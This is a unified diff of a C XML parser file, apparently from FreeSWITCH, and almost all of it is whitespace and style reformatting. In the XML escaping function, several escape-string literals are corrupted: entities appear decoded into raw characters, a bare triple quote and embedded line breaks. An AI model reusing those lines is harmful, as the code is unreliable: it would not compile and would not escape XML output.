/*switch_xml_section_t sections = SWITCH_XML_SECTION_RESULT; */
uint32_t sections = SWITCH_XML_SECTION_RESULT;
-
+
if (str) {
for (x = 0; x < strlen(str); x++) {
buf[x] = (char) tolower((int) str[x]);
@@ -252,8 +252,7 @@
}
SWITCH_DECLARE(switch_status_t) switch_xml_bind_search_function_ret(switch_xml_search_function_t function,
- switch_xml_section_t sections, void *user_data,
- switch_xml_binding_t **ret_binding)
+ switch_xml_section_t sections, void *user_data, switch_xml_binding_t **ret_binding)
{
switch_xml_binding_t *binding = NULL, *ptr = NULL;
assert(function != NULL);
@@ -302,18 +301,18 @@
return p;
}
-SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname, ...)
+SWITCH_DECLARE(switch_xml_t) switch_xml_find_child_multi(switch_xml_t node, const char *childname,...)
{
switch_xml_t p = NULL;
- const char *names[256] = {0};
- const char *vals[256] = {0};
+ const char *names[256] = { 0 };
+ const char *vals[256] = { 0 };
int x, i = 0;
va_list ap;
const char *attrname, *value = NULL;
va_start(ap, childname);
-
- while(i < 255) {
+
+ while (i < 255) {
if ((attrname = va_arg(ap, const char *))) {
value = va_arg(ap, const char *);
}
@@ -331,7 +330,7 @@
if (!(childname && i)) {
return node;
}
-
+
for (p = switch_xml_child(node, childname); p; p = p->next) {
for (x = 0; x < i; x++) {
if (names[x] && vals[x]) {
@@ -353,7 +352,7 @@
}
}
- done:
+ done:
return p;
}
@@ -481,7 +480,7 @@
char *e, *r = s, *m = s;
long b, c, d, l;
- for (; *s; s++) { /* normalize line endings */
+ for (; *s; s++) { /* normalize line endings */
while (*s == '\r') {
*(s++) = '\n';
if (*s == '\n')
@@ -503,13 +502,13 @@
if (!c || *e != ';') {
s++;
continue;
- } /* not a character ref */
-
+ }
+ /* not a character ref */
if (c < 0x80)
*(s++) = (char) c; /* US-ASCII subset */
- else { /* multi-byte UTF-8 sequence */
+ else { /* multi-byte UTF-8 sequence */
for (b = 0, d = c; d; d /= 2)
- b++; /* number of bits in c */
+ b++; /* number of bits in c */
b = (b - 2) / 5; /* number of bytes in payload */
*(s++) = (char) ((0xFF << (7 - b)) | (c >> (6 * b))); /* head */
while (b)
@@ -525,19 +524,21 @@
l = (d = (long) (s - r)) + c + (long) strlen(e); /* new length */
if (l) {
if (r == m) {
- char *tmp = (char *)malloc(l);
+ char *tmp = (char *) malloc(l);
if (tmp) {
r = strcpy(tmp, r);
} else {
- if (r) free(r);
+ if (r)
+ free(r);
return NULL;
}
} else {
- char *tmp = (char *)realloc(r, l);
+ char *tmp = (char *) realloc(r, l);
if (tmp) {
r = tmp;
} else {
- if (r) free(r);
+ if (r)
+ free(r);
return NULL;
}
}
@@ -598,15 +599,15 @@
if (!*(xml->txt))
xml->txt = s; /* initial character content */
else { /* allocate our own memory and make a copy */
- if ((xml->flags & SWITCH_XML_TXTM)) { /* allocate some space */
- char *tmp = (char *)realloc(xml->txt, (l = strlen(xml->txt)) + len);
+ if ((xml->flags & SWITCH_XML_TXTM)) { /* allocate some space */
+ char *tmp = (char *) realloc(xml->txt, (l = strlen(xml->txt)) + len);
if (tmp) {
xml->txt = tmp;
} else {
return;
}
} else {
- char *tmp = (char *)malloc((l = strlen(xml->txt)) + len);
+ char *tmp = (char *) malloc((l = strlen(xml->txt)) + len);
if (tmp) {
xml->txt = strcpy(tmp, xml->txt);
} else {
@@ -665,7 +666,8 @@
s += strspn(s + 1, SWITCH_XML_WS) + 1; /* skip whitespace after target */
}
- if (!root) return;
+ if (!root)
+ return;
if (!strcmp(target, "xml")) { /* <?xml ... ?> */
if ((s = strstr(s, "standalone")) && !strncmp(s + strspn(s + 10, SWITCH_XML_WS "='\"") + 10, "yes", 3))
@@ -674,20 +676,24 @@
}
if (!root->pi[0]) {
- root->pi = (char ***)malloc(sizeof(char **));
- if (!root->pi) return;
- *(root->pi) = NULL; /* first pi */
+ root->pi = (char ***) malloc(sizeof(char **));
+ if (!root->pi)
+ return;
+ *(root->pi) = NULL; /* first pi */
}
while (root->pi[i] && strcmp(target, root->pi[i][0]))
i++; /* find target */
if (!root->pi[i]) { /* new target */
- char ***ssstmp = (char ***)realloc(root->pi, sizeof(char **) * (i + 2));
- if (!ssstmp) return;
- root->pi = ssstmp;
- if (!root->pi) return;
- root->pi[i] = (char **)malloc(sizeof(char *) * 3);
- if (!root->pi[i]) return;
+ char ***ssstmp = (char ***) realloc(root->pi, sizeof(char **) * (i + 2));
+ if (!ssstmp)
+ return;
+ root->pi = ssstmp;
+ if (!root->pi)
+ return;
+ root->pi[i] = (char **) malloc(sizeof(char *) * 3);
+ if (!root->pi[i])
+ return;
root->pi[i][0] = target;
root->pi[i][1] = (char *) (root->pi[i + 1] = NULL); /* terminate pi list */
root->pi[i][2] = strdup(""); /* empty document position list */
@@ -695,12 +701,14 @@
while (root->pi[i][j])
j++; /* find end of instruction list for this target */
- sstmp = (char **)realloc(root->pi[i], sizeof(char *) * (j + 3));
- if (!sstmp) return;
+ sstmp = (char **) realloc(root->pi[i], sizeof(char *) * (j + 3));
+ if (!sstmp)
+ return;
root->pi[i] = sstmp;
- stmp = (char *)realloc(root->pi[i][j + 1], j + 1);
- if (!stmp) return;
- root->pi[i][j + 2] = stmp;
+ stmp = (char *) realloc(root->pi[i][j + 1], j + 1);
+ if (!stmp)
+ return;
+ root->pi[i][j + 2] = stmp;
strcpy(root->pi[i][j + 2] + j - 1, (root->xml.name) ? ">" : "<");
root->pi[i][j + 1] = NULL; /* null terminate pi list for this target */
root->pi[i][j] = s; /* set instruction */
@@ -713,27 +721,27 @@
int i, j;
char **sstmp;
- pe = (char **)memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
-
+ pe = (char **) memcpy(malloc(sizeof(SWITCH_XML_NIL)), SWITCH_XML_NIL, sizeof(SWITCH_XML_NIL));
+
for (s[len] = '\0'; s;) {
while (*s && *s != '<' && *s != '%')
s++; /* find next declaration */
if (!*s)
break;
- else if (!strncmp(s, "<!ENTITY", 8)) { /* parse entity definitions */
+ else if (!strncmp(s, "<!ENTITY", 8)) { /* parse entity definitions */
c = s += strspn(s + 8, SWITCH_XML_WS) + 8; /* skip white space separator */
- n = s + strspn(s, SWITCH_XML_WS "%"); /* find name */
+ n = s + strspn(s, SWITCH_XML_WS "%"); /* find name */
*(s = n + strcspn(n, SWITCH_XML_WS)) = ';'; /* append ; to name */
v = s + strspn(s + 1, SWITCH_XML_WS) + 1; /* find value */
- if ((q = *(v++)) != '"' && q != '\'') { /* skip externals */
+ if ((q = *(v++)) != '"' && q != '\'') { /* skip externals */
s = strchr(s, '>');
continue;
}
for (i = 0, ent = (*c == '%') ? pe : root->ent; ent[i]; i++);
- sstmp = (char **)realloc(ent, (i + 3) * sizeof(char *)); /* space for next ent */
+ sstmp = (char **) realloc(ent, (i + 3) * sizeof(char *)); /* space for next ent */
if (!sstmp) {
switch_xml_err(root, v, "Allocation Error!");
break;
@@ -770,7 +778,7 @@
//while (*(n = ++s + strspn(s, SWITCH_XML_WS)) && *n != '>') {
// gcc 4.4 you are a creep
- for(;;) {
+ for (;;) {
s++;
if (!(*(n = s + strspn(s, SWITCH_XML_WS)) && *n != '>')) {
break;
@@ -783,7 +791,7 @@
}
s += strspn(s + 1, SWITCH_XML_WS) + 1; /* find next token */
- c = (strncmp(s, "CDATA", 5)) ? (char *)"*" : (char *)" "; /* is it cdata? */
+ c = (strncmp(s, "CDATA", 5)) ? (char *) "*" : (char *) " "; /* is it cdata? */
if (!strncmp(s, "NOTATION", 8))
s += strspn(s + 8, SWITCH_XML_WS) + 8;
s = (*s == '(') ? strchr(s, ')') : s + strcspn(s, SWITCH_XML_WS);
@@ -809,15 +817,15 @@
}
if (!root->attr[i]) { /* new tag name */
- root->attr = (!i) ? (char ***)malloc(2 * sizeof(char **))
- : (char ***)realloc(root->attr, (i + 2) * sizeof(char **));
- root->attr[i] = (char **)malloc(2 * sizeof(char *));
+ root->attr = (!i) ? (char ***) malloc(2 * sizeof(char **))
+ : (char ***) realloc(root->attr, (i + 2) * sizeof(char **));
+ root->attr[i] = (char **) malloc(2 * sizeof(char *));
root->attr[i][0] = t; /* set tag name */
root->attr[i][1] = (char *) (root->attr[i + 1] = NULL);
}
for (j = 1; root->attr[i][j]; j += 3); /* find end of list */
- sstmp = (char **)realloc(root->attr[i], (j + 4) * sizeof(char *));
+ sstmp = (char **) realloc(root->attr[i], (j + 4) * sizeof(char *));
if (!sstmp) {
switch_xml_err(root, t, "Allocation Error!");
@@ -826,17 +834,17 @@
root->attr[i] = sstmp;
root->attr[i][j + 3] = NULL; /* null terminate list */
- root->attr[i][j + 2] = c; /* is it cdata? */
+ root->attr[i][j + 2] = c; /* is it cdata? */
root->attr[i][j + 1] = (v) ? switch_xml_decode(v, root->ent, *c) : NULL;
- root->attr[i][j] = n; /* attribute name */
+ root->attr[i][j] = n; /* attribute name */
}
} else if (!strncmp(s, "<!--", 4))
- s = strstr(s + 4, "-->"); /* comments */
- else if (!strncmp(s, "<?", 2)) { /* processing instructions */
+ s = strstr(s + 4, "-->"); /* comments */
+ else if (!strncmp(s, "<?", 2)) { /* processing instructions */
if ((s = strstr(c = s + 2, "?>")))
switch_xml_proc_inst(root, c, s++ - c);
} else if (*s == '<')
- s = strchr(s, '>'); /* skip other declarations */
+ s = strchr(s, '>'); /* skip other declarations */
else if (*(s++) == '%' && !root->standalone)
break;
}
@@ -857,10 +865,10 @@
if (be == -1)
return NULL; /* not UTF-16 */
- u = (char *)malloc(max);
+ u = (char *) malloc(max);
for (sl = 2; sl < *len - 1; sl += 2) {
c = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF) /* UTF-16BE */
- : (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF); /* UTF-16LE */
+ : (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF); /* UTF-16LE */
if (c >= 0xD800 && c <= 0xDFFF && (sl += 2) < *len - 1) { /* high-half */
d = (be) ? (((*s)[sl] & 0xFF) << 8) | ((*s)[sl + 1] & 0xFF)
: (((*s)[sl + 1] & 0xFF) << 8) | ((*s)[sl] & 0xFF);
@@ -869,8 +877,9 @@
while (l + 6 > max) {
char *tmp;
- tmp = (char *)realloc(u, max += SWITCH_XML_BUFSIZE);
- if (!tmp) return NULL;
+ tmp = (char *) realloc(u, max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return NULL;
u = tmp;
}
if (c < 0x80)
@@ -884,7 +893,7 @@
u[l++] = (char) (0x80 | ((c >> (6 * --b)) & 0x3F)); /* payload */
}
}
- return *s = (char *)realloc(u, *len = l);
+ return *s = (char *) realloc(u, *len = l);
}
/* frees a tag attribute list */
@@ -908,16 +917,16 @@
free(attr);
}
-SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup)
+SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str_dynamic(char *s, switch_bool_t dup)
{
switch_xml_root_t root;
char *data;
-
+
switch_assert(s);
data = dup ? strdup(s) : s;
-
+
if ((root = (switch_xml_root_t) switch_xml_parse_str(data, strlen(data)))) {
- root->dynamic = 1; /* Make sure we free the memory is switch_xml_free() */
+ root->dynamic = 1; /* Make sure we free the memory is switch_xml_free() */
return &root->xml;
} else {
if (dup) {
@@ -926,7 +935,7 @@
return NULL;
}
}
-
+
/* parse the given xml string and return an switch_xml structure */
SWITCH_DECLARE(switch_xml_t) switch_xml_parse_str(char *s, switch_size_t len)
{
@@ -952,26 +961,26 @@
attr = (char **) SWITCH_XML_NIL;
d = ++s;
- if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) *s < '\0') { /* new tag */
+ if (isalpha((int) (*s)) || *s == '_' || *s == ':' || (int8_t) * s < '\0') { /* new tag */
if (!root->cur)
return switch_xml_err(root, d, "markup outside of root element");
s += strcspn(s, SWITCH_XML_WS "/>");
while (isspace((int) (*s)))
- *(s++) = '\0'; /* null terminate tag name */
+ *(s++) = '\0'; /* null terminate tag name */
if (*s && *s != '/' && *s != '>') /* find tag in default attr list */
for (i = 0; (a = root->attr[i]) && strcmp(a[0], d); i++);
for (l = 0; *s && *s != '/' && *s != '>'; l += 2) { /* new attrib */
- attr = (l) ? (char **)realloc(attr, (l + 4) * sizeof(char *))
- : (char **)malloc(4 * sizeof(char *)); /* allocate space */
- attr[l + 3] = (l) ? (char *)realloc(attr[l + 1], (l / 2) + 2)
- : (char *)malloc(2); /* mem for list of maloced vals */
- strcpy(attr[l + 3] + (l / 2), " "); /* value is not malloced */
- attr[l + 2] = NULL; /* null terminate list */
- attr[l + 1] = (char *)""; /* temporary attribute value */
- attr[l] = s; /* set attribute name */
+ attr = (l) ? (char **) realloc(attr, (l + 4) * sizeof(char *))
+ : (char **) malloc(4 * sizeof(char *)); /* allocate space */
+ attr[l + 3] = (l) ? (char *) realloc(attr[l + 1], (l / 2) + 2)
+ : (char *) malloc(2); /* mem for list of maloced vals */
+ strcpy(attr[l + 3] + (l / 2), " "); /* value is not malloced */
+ attr[l + 2] = NULL; /* null terminate list */
+ attr[l + 1] = (char *) ""; /* temporary attribute value */
+ attr[l] = s; /* set attribute name */
s += strcspn(s, SWITCH_XML_WS "=/>");
if (*s == '=' || isspace((int) (*s))) {
@@ -1084,12 +1093,12 @@
switch_size_t l, len = 0;
char *s;
- if (!(s = (char *)malloc(SWITCH_XML_BUFSIZE)))
+ if (!(s = (char *) malloc(SWITCH_XML_BUFSIZE)))
return NULL;
do {
len += (l = fread((s + len), 1, SWITCH_XML_BUFSIZE, fp));
if (l == SWITCH_XML_BUFSIZE) {
- char *tmp = (char *)realloc(s, len + SWITCH_XML_BUFSIZE);
+ char *tmp = (char *) realloc(s, len + SWITCH_XML_BUFSIZE);
if (!tmp) {
free(s);
return NULL;
@@ -1128,9 +1137,10 @@
} else { /* mmap failed, read file into memory */
#endif /* HAVE_MMAP */
m = malloc(st.st_size);
- if (!m) return NULL;
+ if (!m)
+ return NULL;
l = read(fd, m, st.st_size);
- root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
+ root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
root->dynamic = 1; /* so we know to free s in switch_xml_free() */
#ifdef HAVE_MMAP
}
@@ -1188,20 +1198,19 @@
if (write(write_fd, message, sizeof(message)) < 0) {
goto end;
}
-
#else
int fds[2], pid = 0;
if (pipe(fds)) {
goto end;
- } else { /* good to go*/
+ } else { /* good to go */
pid = fork();
- if (pid < 0) { /* ok maybe not */
+ if (pid < 0) { /* ok maybe not */
close(fds[0]);
close(fds[1]);
goto end;
- } else if (pid) { /* parent */
+ } else if (pid) { /* parent */
char buf[1024] = "";
int bytes;
close(fds[1]);
@@ -1211,7 +1220,7 @@
}
}
close(fds[0]);
- } else { /* child */
+ } else { /* child */
close(fds[0]);
dup2(fds[1], STDOUT_FILENO);
switch_system(command, SWITCH_TRUE);
@@ -1220,25 +1229,25 @@
}
}
#endif
- end:
+ end:
return write_fd;
-
+
}
static int preprocess_glob(const char *cwd, const char *pattern, int write_fd, int rlevel)
{
char *full_path = NULL;
char *dir_path = NULL, *e = NULL;
- glob_t glob_data;
+ glob_t glob_data;
size_t n;
if (!switch_is_file_path(pattern)) {
full_path = switch_mprintf("%s%s%s", cwd, SWITCH_PATH_SEPARATOR, pattern);
pattern = full_path;
}
-
- if (glob(pattern, GLOB_NOCHECK, NULL, &glob_data) != 0) {
+
+ if (glob(pattern, GLOB_NOCHECK, NULL, &glob_data) != 0) {
if (stderr) {
fprintf(stderr, "Error including %s\n", pattern);
}
@@ -1260,9 +1269,9 @@
}
free(dir_path);
}
- globfree(&glob_data);
+ globfree(&glob_data);
- end:
+ end:
switch_safe_free(full_path);
@@ -1276,7 +1285,7 @@
char *q, *cmd, buf[2048], ebuf[8192];
char *tcmd, *targ;
int line = 0;
-
+
if ((read_fd = open(file, O_RDONLY, 0)) < 0) {
const char *reason = strerror(errno);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldnt open %s (%s)\n", file, reason);
@@ -1292,7 +1301,7 @@
const char *err = NULL;
char *bp = expand_vars(buf, ebuf, sizeof(ebuf), &cur, &err);
line++;
-
+
if (err) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error [%s] in file %s line %d\n", err, file, line);
}
@@ -1312,8 +1321,8 @@
}
}
- if ((tcmd = (char *)switch_stristr("X-pre-process", bp))) {
- if (*(tcmd-1) != '<') {
+ if ((tcmd = (char *) switch_stristr("X-pre-process", bp))) {
+ if (*(tcmd - 1) != '<') {
continue;
}
if ((e = strstr(tcmd, "/>"))) {
@@ -1323,35 +1332,35 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Short write!\n");
}
}
-
- if (!(tcmd = (char *)switch_stristr("cmd", tcmd))) {
+
+ if (!(tcmd = (char *) switch_stristr("cmd", tcmd))) {
continue;
}
- if (!(tcmd = (char *)switch_stristr("=", tcmd))) {
+ if (!(tcmd = (char *) switch_stristr("=", tcmd))) {
continue;
}
- if (!(tcmd = (char *)switch_stristr("\"", tcmd))) {
+ if (!(tcmd = (char *) switch_stristr("\"", tcmd))) {
continue;
}
-
+
tcmd++;
-
+
if ((e = strchr(tcmd, '"'))) {
*e++ = '\0';
}
- if (!(targ = (char *)switch_stristr("data", e))) {
+ if (!(targ = (char *) switch_stristr("data", e))) {
continue;
}
- if (!(targ = (char *)switch_stristr("=", targ))) {
+ if (!(targ = (char *) switch_stristr("=", targ))) {
continue;
}
- if (!(targ = (char *)switch_stristr("\"", targ))) {
+ if (!(targ = (char *) switch_stristr("\"", targ))) {
continue;
}
@@ -1360,26 +1369,26 @@
if ((e = strchr(targ, '"'))) {
*e++ = '\0';
}
-
+
if (!strcasecmp(tcmd, "set")) {
- char *name = (char *)targ;
+ char *name = (char *) targ;
char *val = strchr(name, '=');
-
+
if (val) {
char *ve = val++;
while (*val && *val == ' ') {
- val++;
+ val++;
}
*ve-- = '\0';
while (*ve && *ve == ' ') {
*ve-- = '\0';
}
}
-
+
if (name && val) {
switch_core_set_variable(name, val);
}
-
+
} else if (!strcasecmp(tcmd, "include")) {
preprocess_glob(cwd, targ, write_fd, rlevel + 1);
} else if (!strcasecmp(tcmd, "exec")) {
@@ -1388,7 +1397,7 @@
continue;
}
-
+
if ((cmd = strstr(bp, "<!--#"))) {
if (write(write_fd, bp, (unsigned) (cmd - bp)) != (cmd - bp)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Short write!\n");
@@ -1470,12 +1479,12 @@
m = malloc(st.st_size);
switch_assert(m);
l = read(fd, m, st.st_size);
- root = (switch_xml_root_t) switch_xml_parse_str((char *)m, l);
+ root = (switch_xml_root_t) switch_xml_parse_str((char *) m, l);
root->dynamic = 1;
close(fd);
return &root->xml;
}
-
+
return NULL;
}
@@ -1486,13 +1495,14 @@
char *new_file = NULL;
const char *abs, *absw;
- abs = strrchr(file, '/'); absw = strrchr(file, '\\');
+ abs = strrchr(file, '/');
+ absw = strrchr(file, '\\');
if (abs || absw) {
abs > absw ? abs++ : (abs = ++absw);
} else {
abs = file;
}
-
+
if (!(new_file = switch_mprintf("%s%s%s.fsxml", SWITCH_GLOBAL_dirs.log_dir, SWITCH_PATH_SEPARATOR, abs))) {
return NULL;
}
@@ -1527,12 +1537,9 @@
SWITCH_DECLARE(switch_status_t) switch_xml_locate(const char *section,
const char *tag_name,
- const char *key_name,
- const char *key_value,
- switch_xml_t *root,
- switch_xml_t *node,
- switch_event_t *params,
- switch_bool_t clone)
+ const char *key_name,
+ const char *key_value,
+ switch_xml_t *root, switch_xml_t *node, switch_event_t *params, switch_bool_t clone)
{
switch_xml_t conf = NULL;
switch_xml_t tag = NULL;
@@ -1589,7 +1596,7 @@
if (clone) {
char *x = switch_xml_toxml(tag, SWITCH_FALSE);
switch_assert(x);
- *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE); /* x will be free()'d in switch_xml_free() */
+ *node = *root = switch_xml_parse_str_dynamic(x, SWITCH_FALSE); /* x will be free()'d in switch_xml_free() */
switch_xml_free(xml);
} else {
*node = tag;
@@ -1610,8 +1617,7 @@
return SWITCH_STATUS_FALSE;
}
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params,
- switch_xml_t *root, switch_xml_t *domain)
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_domain(const char *domain_name, switch_event_t *params, switch_xml_t *root, switch_xml_t *domain)
{
switch_event_t *my_params = NULL;
switch_status_t status;
@@ -1632,11 +1638,8 @@
}
SWITCH_DECLARE(switch_status_t) switch_xml_locate_group(const char *group_name,
- const char *domain_name,
- switch_xml_t *root,
- switch_xml_t *domain,
- switch_xml_t *group,
- switch_event_t *params)
+ const char *domain_name,
+ switch_xml_t *root, switch_xml_t *domain, switch_xml_t *group, switch_event_t *params)
{
switch_status_t status = SWITCH_STATUS_FALSE;
switch_event_t *my_params = NULL;
@@ -1663,7 +1666,7 @@
if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
goto end;
}
-
+
status = SWITCH_STATUS_FALSE;
if ((groups = switch_xml_child(*domain, "groups"))) {
@@ -1672,7 +1675,7 @@
}
}
- end:
+ end:
if (my_params) {
switch_event_destroy(&my_params);
@@ -1699,7 +1702,7 @@
if ((*user = switch_xml_find_child_multi(tag, "user", "ip", ip, "type", type, NULL))) {
return SWITCH_STATUS_SUCCESS;
}
- }
+ }
if (user_name) {
if (!strcasecmp(key, "id")) {
@@ -1712,19 +1715,16 @@
}
}
}
-
+
return SWITCH_STATUS_FALSE;
-
+
}
-SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name,
- switch_xml_t domain,
- switch_xml_t *user,
- switch_xml_t *ingroup)
+SWITCH_DECLARE(switch_status_t) switch_xml_locate_user_in_domain(const char *user_name, switch_xml_t domain, switch_xml_t *user, switch_xml_t *ingroup)
{
switch_xml_t group = NULL, groups = NULL, users = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
-
+
if ((groups = switch_xml_child(domain, "groups"))) {
for (group = switch_xml_child(groups, "group"); group; group = group->next) {
if ((users = switch_xml_child(group, "users"))) {
@@ -1743,18 +1743,15 @@
SWITCH_DECLARE(switch_status_t) switch_xml_locate_user(const char *key,
const char *user_name,
- const char *domain_name,
- const char *ip,
+ const char *domain_name,
+ const char *ip,
switch_xml_t *root,
- switch_xml_t *domain,
- switch_xml_t *user,
- switch_xml_t *ingroup,
- switch_event_t *params)
+ switch_xml_t *domain, switch_xml_t *user, switch_xml_t *ingroup, switch_event_t *params)
{
switch_status_t status = SWITCH_STATUS_FALSE;
switch_event_t *my_params = NULL, *search_params = NULL;
switch_xml_t group = NULL, groups = NULL, users = NULL;
-
+
*root = NULL;
*user = NULL;
*domain = NULL;
@@ -1782,11 +1779,11 @@
if (ip) {
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "ip", ip);
}
-
+
if ((status = switch_xml_locate_domain(domain_name, params, root, domain)) != SWITCH_STATUS_SUCCESS) {
goto end;
}
-
+
status = SWITCH_STATUS_FALSE;
if (params != my_params) {
@@ -1809,9 +1806,9 @@
if (status != SWITCH_STATUS_SUCCESS) {
status = find_user_in_tag(*domain, ip, user_name, key, params, user);
}
-
- end:
+ end:
+
if (my_params) {
switch_event_destroy(&my_params);
}
@@ -1848,16 +1845,16 @@
SWITCH_DECLARE(void) switch_xml_free_in_thread(switch_xml_t xml, int stacksize)
{
switch_thread_t *thread;
- switch_threadattr_t *thd_attr;
+ switch_threadattr_t *thd_attr;
switch_memory_pool_t *pool = NULL;
struct destroy_xml *dx;
switch_core_new_memory_pool(&pool);
switch_threadattr_create(&thd_attr, pool);
- switch_threadattr_detach_set(thd_attr, 1);
+ switch_threadattr_detach_set(thd_attr, 1);
/* TBD figure out how much space we need by looking at the xml_t when stacksize == 0 */
- switch_threadattr_stacksize_set(thd_attr, stacksize);
+ switch_threadattr_stacksize_set(thd_attr, stacksize);
dx = switch_core_alloc(pool, sizeof(*dx));
dx->pool = pool;
@@ -1923,7 +1920,7 @@
r = switch_xml_root();
}
- done:
+ done:
switch_mutex_unlock(XML_LOCK);
@@ -1955,7 +1952,7 @@
{
switch_status_t status = SWITCH_STATUS_FALSE;
switch_mutex_lock(XML_LOCK);
-
+
if (MAIN_XML_ROOT) {
switch_xml_t xml = MAIN_XML_ROOT;
MAIN_XML_ROOT = NULL;
@@ -1991,7 +1988,8 @@
const char *e = NULL;
int immune = 0;
- if (!(s && *s)) return *dst;
+ if (!(s && *s))
+ return *dst;
if (len) {
e = s + len;
@@ -1999,8 +1997,9 @@
while (s != e) {
while (*dlen + 10 > *max) {
- char *tmp = (char *)realloc(*dst, *max += SWITCH_XML_BUFSIZE);
- if (!tmp) return *dst;
+ char *tmp = (char *) realloc(*dst, *max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return *dst;
*dst = tmp;
}
@@ -2009,39 +2008,39 @@
return *dst;
}
(*dst)[(*dlen)++] = *s;
- } else
+ } else
switch (*s) {
- case '\0':
- return *dst;
- case '&':
- *dlen += sprintf(*dst + *dlen, "&");
- break;
- case '<':
- if (*(s+1) == '!') {
- (*dst)[(*dlen)++] = *s;
- immune++;
+ case '\0':
+ return *dst;
+ case '&':
+ *dlen += sprintf(*dst + *dlen, "&");
break;
+ case '<':
+ if (*(s + 1) == '!') {
+ (*dst)[(*dlen)++] = *s;
+ immune++;
+ break;
+ }
+ *dlen += sprintf(*dst + *dlen, "<");
+ break;
+ case '>':
+ *dlen += sprintf(*dst + *dlen, ">");
+ break;
+ case '"':
+ *dlen += sprintf(*dst + *dlen, (a) ? """ : "\"");
+ break;
+ case '\n':
+ *dlen += sprintf(*dst + *dlen, (a) ? "
" : "\n");
+ break;
+ case '\t':
+ *dlen += sprintf(*dst + *dlen, (a) ? "	" : "\t");
+ break;
+ case '\r':
+ *dlen += sprintf(*dst + *dlen, "
");
+ break;
+ default:
+ (*dst)[(*dlen)++] = *s;
}
- *dlen += sprintf(*dst + *dlen, "<");
- break;
- case '>':
- *dlen += sprintf(*dst + *dlen, ">");
- break;
- case '"':
- *dlen += sprintf(*dst + *dlen, (a) ? """ : "\"");
- break;
- case '\n':
- *dlen += sprintf(*dst + *dlen, (a) ? "
" : "\n");
- break;
- case '\t':
- *dlen += sprintf(*dst + *dlen, (a) ? "	" : "\t");
- break;
- case '\r':
- *dlen += sprintf(*dst + *dlen, "
");
- break;
- default:
- (*dst)[(*dlen)++] = *s;
- }
s++;
}
return *dst;
@@ -2051,24 +2050,25 @@
/* Recursively converts each tag to xml appending it to *s. Reallocates *s if
its length exceeds max. start is the location of the previous tag in the
parent tag's character content. Returns *s. */
-static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t * count)
+static char *switch_xml_toxml_r(switch_xml_t xml, char **s, switch_size_t *len, switch_size_t *max, switch_size_t start, char ***attr, uint32_t *count)
{
int i, j;
char *txt;
switch_size_t off;
uint32_t lcount;
-tailrecurse:
+ tailrecurse:
off = 0;
lcount = 0;
- txt = (char *)(xml->parent) ? xml->parent->txt : (char *)"";
+ txt = (char *) (xml->parent) ? xml->parent->txt : (char *) "";
/* parent character content up to this tag */
*s = switch_xml_ampencode(txt + start, xml->off - start, s, len, max, 0);
while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) + 1 > *max) { /* reallocate s */
- char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
- if (!tmp) return *s;
+ char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return *s;
*s = tmp;
}
@@ -2084,8 +2084,9 @@
if (switch_xml_attr(xml, xml->attr[i]) != xml->attr[i + 1])
continue;
while (*len + strlen(xml->attr[i]) + 7 + (strlen(XML_INDENT) * (*count)) > *max) { /* reallocate s */
- char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
- if (!tmp) return *s;
+ char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return *s;
*s = tmp;
}
@@ -2099,8 +2100,9 @@
if (!attr[i][j + 1] || switch_xml_attr(xml, attr[i][j]) != attr[i][j + 1])
continue; /* skip duplicates and non-values */
while (*len + strlen(attr[i][j]) + 8 + (strlen(XML_INDENT) * (*count)) > *max) { /* reallocate s */
- char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
- if (!tmp) return *s;
+ char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return *s;
*s = tmp;
}
@@ -2120,10 +2122,11 @@
}
while (*len + strlen(xml->name) + 5 + (strlen(XML_INDENT) * (*count)) > *max) { /* reallocate s */
- char *tmp = (char *)realloc(*s, *max += SWITCH_XML_BUFSIZE);
- if (!tmp) return *s;
- *s = tmp;
- }
+ char *tmp = (char *) realloc(*s, *max += SWITCH_XML_BUFSIZE);
+ if (!tmp)
+ return *s;
+ *s = tmp;
+ }
if (xml->child || xml->txt) {
if (*(*s + (*len) - 1) == '\n') {
@@ -2155,7 +2158,7 @@
{
char *r, *s;
switch_mutex_lock(XML_GEN_LOCK);
- s = (char *)malloc(SWITCH_XML_BUFSIZE);
+ s = (char *) malloc(SWITCH_XML_BUFSIZE);
switch_assert(s);
r = switch_xml_toxml_buf(xml, s, SWITCH_XML_BUFSIZE, 0, prn_header);
